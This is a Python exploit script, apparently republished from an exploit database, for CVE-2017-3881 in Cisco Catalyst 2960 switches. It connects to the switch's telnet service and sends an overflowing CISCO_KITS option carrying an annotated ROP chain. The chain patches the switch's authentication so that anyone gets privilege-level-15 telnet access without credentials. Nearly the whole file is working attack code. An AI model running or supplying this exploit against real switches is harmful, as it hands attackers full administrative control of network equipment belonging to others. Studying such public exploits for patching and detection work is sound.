#!/usr/bin/python # Exploit Title: Cisco Catalyst 2960 - Buffer Overflow # Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/ # Date: 04.10.2017 # Exploit Author: https://twitter.com/artkond # Vendor Homepage: https://www.cisco.com/ # Version: IOS version c2960-lanbasek9-mz.122-55.SE11) # Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11 # CVE : CVE-2017-3881 # Description: # # The exploit connects to the Catalyst switch and patches # it execution flow to allow credless telnet interaction # with highest privilege level # import socket import sys from time import sleep set_credless = True if len(sys.argv) < 3: print sys.argv[0] + ' [host] --set/--unset' sys.exit() elif sys.argv[2] == '--unset': set_credless = False elif sys.argv[2] == '--set': pass else: print sys.argv[0] + ' [host] --set/--unset' sys.exit() s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 23)) print '[+] Connection OK' print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) print '[+] Sending cluster option' print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' payload = '\xff\xfa\x24\x00' payload += '\x03CISCO_KITS\x012:' payload += 'A' * 116 payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; #next bytes are shown as offsets from r1 payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34 if set_credless is True: payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1 else: payload += '\x00\x04\xeA\xe0' # unset payload += 'BBBB' # +16(+0) r1 points here at second gadget payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; payload += 'CCCC' # +8 payload += 'DDDD' # +12 payload += 'EEEE' # +16(+0) r1 points here at third gadget payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8 payload += 'FFFF' # +12 payload += 'GGGG' # +16(+0) r1 points here at fourth gadget payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; if set_credless: payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; else: payload += '\x00\x04\xe7\x78' # unset payload += 'HHHH' # +12 payload += 'IIII' # +16(+0) r1 points here at fifth gadget payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; payload += 'JJJJ' # +8 r1 points here at third gadget payload += 'KKKK' # +12 payload += 'LLLL' # +16 payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr payload += ':15:' + '\xff\xf0' s.send(payload) print '[+] All done' s.close() # Iranian Exploit DataBase = http://IeDb.Ir [2017-04-14]